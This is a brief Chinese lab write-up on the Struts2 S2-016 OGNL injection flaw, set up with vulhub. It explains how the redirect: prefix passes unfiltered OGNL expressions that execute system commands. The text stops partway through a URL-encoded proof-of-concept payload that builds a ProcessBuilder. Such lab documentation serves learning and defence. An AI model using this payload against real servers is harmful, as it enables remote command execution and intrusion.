1.环境
环境
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
这个搭环境很方便快捷,具体可以看说明,很简单
2.原理
在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
所以,访问http://your-ip:8080/index.action?redirect:OGNL表达式
即可执行OGNL表达式。
3.影响版本
Struts 2.0.0 - Struts 2.3.15
4.利用过程
环境打开
POC
此漏洞用的是get传输即可实现,直接加就好
?redirect:${
%23a%3d(new java.lang.ProcessBuilder(new java.lang